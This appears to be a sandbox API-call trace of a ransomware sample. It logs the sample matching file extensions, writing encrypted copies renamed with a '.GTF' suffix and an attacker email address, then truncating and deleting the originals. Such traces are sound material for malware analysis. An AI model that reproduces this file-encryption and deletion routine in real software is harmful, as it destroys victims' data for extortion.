	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString=".1cd") returned 4
	[0065.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString=".jpg") returned 4
	[0065.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.200] lstrlenW (lpString=".doc") returned 4
	[0065.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".docx") returned 5
	[0065.200] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0065.200] lstrlenW (lpString=".pdf") returned 4
	[0065.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0065.200] lstrlenW (lpString=".xls") returned 4
	[0065.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString=".xlsx") returned 5
	[0065.201] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0065.201] lstrlenW (lpString=".ppt") returned 4
	[0065.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.201] lstrlenW (lpString=".zip") returned 4
	[0065.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0065.201] lstrlenW (lpString=".rar") returned 4
	[0065.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString=".bz2") returned 4
	[0065.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString=".7z") returned 3
	[0065.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0065.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.201] lstrlenW (lpString=".dbf") returned 4
	[0065.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.201] lstrlenW (lpString=".1cd") returned 4
	[0065.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0065.201] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0065.201] lstrlenW (lpString=".jpg") returned 4
	[0065.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0065.202] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0065.202] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0065.203] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0065.221] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=77022) returned 1
	[0065.221] CloseHandle (hObject=0x2b8) returned 1
	[0065.221] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0065.221] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0066.318] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.318] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.354] GetLastError () returned 0x0
	[0066.354] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x12cde, lpOverlapped=0x0) returned 1
	[0066.515] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x12ce0, lpOverlapped=0x0) returned 1
	[0066.517] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.517] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.517] SetEndOfFile (hFile=0x320) returned 1
	[0067.713] CloseHandle (hObject=0x320) returned 1
	[0067.716] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.716] SetEndOfFile (hFile=0x2d4) returned 1
	[0067.717] CloseHandle (hObject=0x2d4) returned 1
	[0067.717] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.717] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1
	[0067.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".doc") returned 4
	[0067.718] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".docx") returned 5
	[0067.718] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.718] lstrlenW (lpString=".pdf") returned 4
	[0067.718] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".xls") returned 4
	[0067.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".xlsx") returned 5
	[0067.718] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.718] lstrlenW (lpString=".ppt") returned 4
	[0067.718] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".zip") returned 4
	[0067.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.718] lstrlenW (lpString=".rar") returned 4
	[0067.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".bz2") returned 4
	[0067.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".7z") returned 3
	[0067.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".dbf") returned 4
	[0067.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".1cd") returned 4
	[0067.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".jpg") returned 4
	[0067.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.718] lstrlenW (lpString=".doc") returned 4
	[0067.718] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.718] lstrlenW (lpString=".docx") returned 5
	[0067.718] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.719] lstrlenW (lpString=".pdf") returned 4
	[0067.719] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString=".xls") returned 4
	[0067.719] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString=".xlsx") returned 5
	[0067.719] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.719] lstrlenW (lpString=".ppt") returned 4
	[0067.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.719] lstrlenW (lpString=".zip") returned 4
	[0067.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.719] lstrlenW (lpString=".rar") returned 4
	[0067.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString=".bz2") returned 4
	[0067.719] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString=".7z") returned 3
	[0067.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.719] lstrlenW (lpString=".dbf") returned 4
	[0067.719] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.719] lstrlenW (lpString=".1cd") returned 4
	[0067.719] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0067.719] lstrlenW (lpString=".jpg") returned 4
	[0067.719] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.719] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.719] lstrlenW (lpString="eula.rtf") returned 8
	[0067.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0067.720] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5827) returned 1
	[0067.720] CloseHandle (hObject=0x2d4) returned 1
	[0067.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0067.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0067.720] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.720] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0067.722] GetLastError () returned 0x0
	[0067.722] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x16c3, lpOverlapped=0x0) returned 1
	[0067.799] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0067.800] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.800] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0067.800] SetEndOfFile (hFile=0x320) returned 1
	[0067.800] CloseHandle (hObject=0x320) returned 1
	[0067.801] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.801] SetEndOfFile (hFile=0x2d4) returned 1
	[0067.802] CloseHandle (hObject=0x2d4) returned 1
	[0067.802] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.802] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".doc") returned 4
	[0067.803] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString=".docx") returned 5
	[0067.803] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.803] lstrlenW (lpString=".pdf") returned 4
	[0067.803] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString=".xls") returned 4
	[0067.803] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.803] lstrlenW (lpString=".xlsx") returned 5
	[0067.803] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.803] lstrlenW (lpString=".ppt") returned 4
	[0067.803] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".zip") returned 4
	[0067.803] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.803] lstrlenW (lpString=".rar") returned 4
	[0067.803] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString=".bz2") returned 4
	[0067.803] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString=".7z") returned 3
	[0067.803] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".dbf") returned 4
	[0067.803] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".1cd") returned 4
	[0067.803] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".jpg") returned 4
	[0067.803] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.803] lstrlenW (lpString=".doc") returned 4
	[0067.804] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString=".docx") returned 5
	[0067.804] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.804] lstrlenW (lpString=".pdf") returned 4
	[0067.804] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString=".xls") returned 4
	[0067.804] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.804] lstrlenW (lpString=".xlsx") returned 5
	[0067.804] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.804] lstrlenW (lpString=".ppt") returned 4
	[0067.804] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.804] lstrlenW (lpString=".zip") returned 4
	[0067.804] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.804] lstrlenW (lpString=".rar") returned 4
	[0067.804] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString=".bz2") returned 4
	[0067.804] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString=".7z") returned 3
	[0067.804] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.804] lstrlenW (lpString=".dbf") returned 4
	[0067.804] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.804] lstrlenW (lpString=".1cd") returned 4
	[0067.804] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0067.804] lstrlenW (lpString=".jpg") returned 4
	[0067.804] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.804] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.804] lstrlenW (lpString="eula.rtf") returned 8
	[0067.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0067.805] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=6309) returned 1
	[0067.805] CloseHandle (hObject=0x2d4) returned 1
	[0067.805] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0067.805] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0067.805] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.805] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0067.817] GetLastError () returned 0x0
	[0067.817] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0068.308] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0068.309] ReadFile (in: hFile=0x2d4, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.309] WriteFile (in: hFile=0x320, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0068.309] SetEndOfFile (hFile=0x320) returned 1
	[0068.309] CloseHandle (hObject=0x320) returned 1
	[0068.310] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.310] SetEndOfFile (hFile=0x2d4) returned 1
	[0068.311] CloseHandle (hObject=0x2d4) returned 1
	[0068.311] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.312] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1
	[0068.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.312] lstrlenW (lpString=".doc") returned 4
	[0068.312] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.312] lstrlenW (lpString=".docx") returned 5
	[0068.312] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.312] lstrlenW (lpString=".pdf") returned 4
	[0068.312] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.312] lstrlenW (lpString=".xls") returned 4
	[0068.312] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.312] lstrlenW (lpString=".xlsx") returned 5
	[0068.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.312] lstrlenW (lpString=".ppt") returned 4
	[0068.312] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.312] lstrlenW (lpString=".zip") returned 4
	[0068.312] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.312] lstrlenW (lpString=".rar") returned 4
	[0068.312] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.312] lstrlenW (lpString=".bz2") returned 4
	[0068.312] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.312] lstrlenW (lpString=".7z") returned 3
	[0068.312] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.312] lstrlenW (lpString=".dbf") returned 4
	[0068.313] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString=".1cd") returned 4
	[0068.313] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString=".jpg") returned 4
	[0068.313] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString=".doc") returned 4
	[0068.313] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString=".docx") returned 5
	[0068.313] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.313] lstrlenW (lpString=".pdf") returned 4
	[0068.313] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString=".xls") returned 4
	[0068.313] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.313] lstrlenW (lpString=".xlsx") returned 5
	[0068.313] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.313] lstrlenW (lpString=".ppt") returned 4
	[0068.313] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString=".zip") returned 4
	[0068.313] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.313] lstrlenW (lpString=".rar") returned 4
	[0068.313] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString=".bz2") returned 4
	[0068.313] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.313] lstrlenW (lpString=".7z") returned 3
	[0068.313] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0068.313] lstrlenW (lpString=".dbf") returned 4
	[0068.313] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
